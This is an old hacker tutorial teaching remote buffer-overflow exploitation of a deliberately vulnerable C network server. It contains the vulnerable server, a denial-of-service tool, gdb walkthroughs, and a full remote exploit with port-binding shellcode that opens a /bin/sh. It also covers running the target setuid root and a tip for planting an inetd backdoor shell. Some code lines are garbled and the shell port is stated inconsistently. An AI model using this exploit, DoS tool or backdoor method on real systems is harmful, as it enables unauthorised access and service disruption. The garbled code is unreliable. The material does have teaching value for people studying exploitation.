How to write remote exploits
BY Robin Walser
1. Introduction
Hi welcome to my first english tutorial, and my first tutorial about
exploit coding, on the next pages, I want to show you the basics of
remote exploits writing. In order to understand the following, I hope
that you know "socket programming in C", also ANSI C, and I hope you
know how local exploits work.
If you haven't got any idea of these things I want to suggest you to
first read other papers or books like...:
The C Programming language (Kernighan/Ritchie)
Unix Network Programming (Richard Stevens)
Good tutorials about exploits you can find on my homepage, i.e.
smashing the stack for fun and profit... by aleph1
2. Let's discover the exercise
I hope you'll enjoy it, ok what are we going to do? We want to
exploit a vulnerable server program (vulnerable.c). We want to get
a remote shell. In case you are looking for an exercise, read the
vulnerable.c program, compile it and try to exploit it. If you don't
have any clue about remote exploits...... well then read further and let
us first take a look at the vulnerable program... later we want to look
at the functions of the vulnerable program, then how we can abuse
an overflow within the program, then we want to define the general
structure of the exploit code, and at last we want to write an
exploit.
--------------------------------------------
vulnerable.c
--------------------------------------------
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUFFER_SIZE 1024
#define NAME_SIZE 2048
int handling(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = '\0';
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;
}
int main(int argc, char *argv[])
{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
}
----------------------------------------------
EOF
----------------------------------------------
Here's how you must compile and use the program.
user@linux:~/ > gcc vulnerable.c -o vulnerable
user@linux:~/ > ./vulnerable 8080
./vulnerable 8080 this means, that you run the service on port 8080,
look at the port you wanna take, you mustn't use a privileged port
(1 - 1024) assuming you are not root.
Now we've compiled the program and we know how to run it.. with the
parameter program <port>
Now we want check some addresses of the program, and take a look on
how it is built. We start the vulnerable program with gdb, to look
at some things...
now do the following:
user@linux~/ > gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details. This GDB was configured as "i386-suse-linux"...
(gdb) run 8080
Starting program: /home/user/directory/vulnerable 8080
Now the program is listening for an incoming connection on port 8080.
Next connect with telnet or netcat on port 8080.
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: Robin
, nice to meet you!
Connection closed by foreign host.
Now the easy server program doesn't make anything else then getting
a name and writing it back on your screen.... Ok let's go further...
While you made this, the gdb (debugger) wrote the following on the
screen:
client from 127.0.0.1 0xbffff28c
/* Don't be confused if the address is different on your computer,
on my box it is 0xbffff28c */
Ok the server is still running because of the for-loop, so it's
always repeating until you kill the server program.
3. Overflowing the server program
Let's test something....
Now we reconnect to the service on port 8080 and put more than 1024
bytes of characters on the command line "My name is:..."
It should look like this... (I'll take A's *g*)...
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA
Now the telnet client should be disconnected... but why? Let's look
at the output of gdb:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
// Don't close gdb !!
What happened? As we can see, the eip is set to 0x41414141,
probably you are asking why?
OK, I'll try to explain it. 0x41 stands for an ‘A'... as we put over
1024 bytes in, the program has tried to copy the string name[2048]
into buffer[1024].... so because the string in name[2048] was greater
than 1024 bytes, the name buffer has overwritten the buffer and also
overwritten the saved eip (extended instruction pointer, here is the
returnaddress stored).. so our buffer looks like this:
[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
[xxxxx buffer-only-1024-bytes xxx] [EIP]
Ok our stack should look like this. We've tried to put more than 1024
byte into buffer, and then we've overwritten the eip *g*.
// don't forget .. eip has a size of 4 bytes !
After you overwrote the whole returnaddress, the function wanted to
return to the main function, it jumped to the wrong address
(0x41414141) .... and so there was a segmentation fault.
Now here's a DoS tool for this program:
-------------------------------------
dos.c
-------------------------------------
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
int main(int argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char buffer[2048];
int s, i;
if(argc != 3)
{
fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
exit(0);
}
s = socket(AF_INET, SOCK_STREAM, 0);
if(s == -1)
{
perror("socket() failed\n");
exit(0);
}
host = gethostbyname(argv[1]);
if( host == NULL)
{
herror("gethostbyname() failed");
exit(0);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atol(argv[2]));
if(connect(s, &addr, sizeof(addr)) == -1)
{
perror("couldn't connect so server\n");
exit(0);
}
/* Not difficult only filling buffer with A's.... den sending nothing more */
for(i = 0; i < 2048 ; i++)
buffer = 'A';
printf("buffer is: %s\n", buffer);
printf("buffer filled... now sending buffer\n");
send(s, buffer, strlen(buffer), 0);
printf("buffer sent.\n");
close(s);
return 0;
}
---------------------------------------------
EOF
---------------------------------------------
4. Finding the return address
I only want to show you how the structure is of an remote exploit
looks like, so let's find out what we are going to do:
First we open gdb and search for the esp... to find esp you can put
in the gdb.. (I hope you didn't close gdb) after getting a SEGFAULT..
ok now type this x/200bx $esp-200 in, so you should get an ouput of
addresses... It should look like this :
(gdb) x/200bx $esp-200
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
---Type <return> to continue, or q <return> to quit---
Ok know we know that we've overwritten the whole buffer, so let's
take one of those addresses... I'll show you later why this...
(because we want to guess the address), maybe you know the NOP's
technique... so it shouldn't be any problem to make our exploit
working as well.... or to make our chance bigger to guess the
return-address.
Attention don't take the nearest address near the end of the 0x41,
take an address which is in the middle, we'll overwrite it later
with NOPs.
5. Structure of the exploit code
So we've got a possible return address, let's try to use it... the
exploit code should be structured like this:
1. First let's find out the esp.. ok we've got it. (ok we've got an
address near the esp, that isn't any problem, because we'll fill
the buffer with NOP's)... then you should find a good shellcode
which binds a shell on a port... Don't forget: in remote exploits
we can't use local exploit shellcodes.. ok we could, but it isn't
very clever. So we have to find another way to get a shell. What
about a portbinder shellcode, which binds a shell on a port ?? Ok
in the net are many of these portbinder shellcodes ..
i.e. www.hack.co.za or my page *g*.
2. Declaring a buffer which is bigger than 1024 bytes... let's make it
1064 bytes, so there is no problem to overwrite eip.. so don't
forget you only have to declare a buffer which is greater than 1024
bytes...
3. Let's prepare the buffer. Now let's first fill the whole buffer
with NOP's: memset(buffer, 0x90, 1064);
4. Let's copy the shellcode into the buffer
memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
Here we put the shellcode in the middle of the buffer
Why? Ok, if we got enough NOPS at the beginnig, our chance is
getting better to execute the shellcode
5. Let's terminate the Nullbyte in the buffer
buffer[1000] = 0x90; // 0x90 is the NOP in hexadecimal
6. Let's copy the returnaddress at the end of the buffer
for(i = 1022; i < 1059; i+=4)
{
((int *) &buffer) = RET;
// RET is the returnaddress we want to use... #define in the header
}
We know that the buffer ends by 1024 bytes, but to get sure we
begin on 1022, then we're copying the returnaddress until we've
got 1059 bytes.. that is enough because we've already overwritten
the eip (we hope so *g*).
7. Let's add a \0 Nullbyte at the end of our prepared buffer:
buffer[1063] = 0x0;
Now we've prepared our buffer, now we only need to send it to the
vulnerable host.. by port and host or ip.
--------------------------------------------
exploit.c
--------------------------------------------
/* Simple remote exploit, which binds a shell on port 3789
* by triton
*
* After return address was overwritten, you can connect
* with telnet or netcat to the victim host on Port 3789
* After you logged in... there's nothing, but try to enter "id;"
* (don't forget the semicolon)
* So you should get an output, ok you've got a shell *g*. Always use:
*
* <command>;
*
* execute.
*/
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
//Portbinding Shellcode
char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
//standard offset (probably must be modified)
#define RET 0xbffff5ec
int main(int argc, char *argv[]) {
char buffer[1064];
int s, i, size;
struct sockaddr_in remote;
struct hostent *host;
if(argc != 3) {
printf("Usage: %s target-ip port\n", argv[0]);
return -1;
}
// filling buffer with NOPs
memset(buffer, 0x90, 1064);
//copying shellcode into buffer
memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
// the previous statement causes a unintential Nullbyte at buffer[1000]
buffer[1000] = 0x90;
// Copying the return address multiple times at the end of the buffer...
for(i=1022; i < 1059; i+=4) {
* ((int *) &buffer) = RET;
}
buffer[1063] = 0x0;
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL)
{
fprintf(stderr, "Unknown Host %s\n",argv[1]);
return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
fprintf(stderr, "Error: Socket\n");
return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and getting
port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
{
close(s);
fprintf(stderr, "Error: connect\n");
return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size==-1)
{
close(s);
fprintf(stderr, "sending data failed\n");
return -1;
}
// closing socket
close(s);
}
---------------------------------------------
EOF
---------------------------------------------
7. Using the exploit
user@linux~/ > gcc exploit.c -o exploit
user@linux~/ > ./exploit <host> <port>
Now it should work If you got the right return address... or one
of the right return addresses.
user@linux~/ > telnet <host> 3879
If you're connected then try to do this:
id;
uid=500(user) gid=500(user) groups=500(user)
As you can see, it works very well.
8. Getting root privileges
Do the following:
user@linux~/ > su
password: ******
root@linux~/ > ls -ln vulnerable
-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable
root@linux~/ > chown root vulnerable
root@linux~/ > chmod 6755 vulnerable
root@linux~/ > ./vulnerable <port>
Now you can exploit the server program, and you should get a root
shell *g*
9. Enter the service in inetd.conf
Ok we're interested how the program, would work, if it would be a
deamon. Now do the following:
First copy the vulnerable pogram to /usr/bin/
root@linux~/ > cp vulnerable /usr/bin/vulnerable
Now let's modify some files...
root@linux~/ > vi /etc/services
(Feel free to use your favourite editor instead of vi)
Define a port which you wanna take. I'll take the port 1526, now
let's enter this informations into /etc/services vulnerable
1526/tcp # defining port for our server program, save and quit
Now edit the inetd.conf file
root@linux~/ > vi /etc/inetd.conf
put in:
vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526
Now safe the inetd.conf file and quit.
root@linux~/ > killall -HUP inetd
Now restart inetd and everything should work..
Note: This is also a good way to make a backdoor, adding a service
in /etc/services then, add the things in inetd.conf and right
/bin/sh sh -i or sh -h *g*....
10. Problem solutions
If the exploit doesn't work, please think about the return address,
it could be wrong, test it with gdb....
user@linux~/ > gdb vulnerable
.....
(gdb) run <port>
Now you can exploit the program, if it doesn't work look at the
output of gdb, and try to find out the address, like in Chapter 4.
If there any other problems ... read the remarks *g*.
11. Remarks
If you find a bug, please mail me, so I can correct the current
Version. If you want to criticize my english, I'll delete your
message :-) *nobody's perfect*, but if you really got problems to
understand this, please ask me... But please do not tease me with
stupid question, I don't have the time to answer every question.
If you want to put this text on your page, no problem, but please
do not change the copyright or other things....
12. Greets
Thanks to Maverick for the vulnerable programm *hehe* (in his
Tutorial "Socket Programming"), thanks to triton for the
exploitcode (great man, also member of buha-security.de)
Greets to all members of buha-security.de and greets to XaitaX,
cat, Anthraxx, Jess (I wonder what happend with her), DrDoo (knuff)
and of course one of my best friends Richard Hirner (well I know
him 1,2 year ago, but we didn't meet us.... *g*..)... at least
greets to all apprentices of LGT Bank in Liechtenstein, special
greets to Marc, Etienne, Martina... (Toni from Hospital too, my
own appretice)
(c) copyright by Robin Walser irc.euirc.net #usad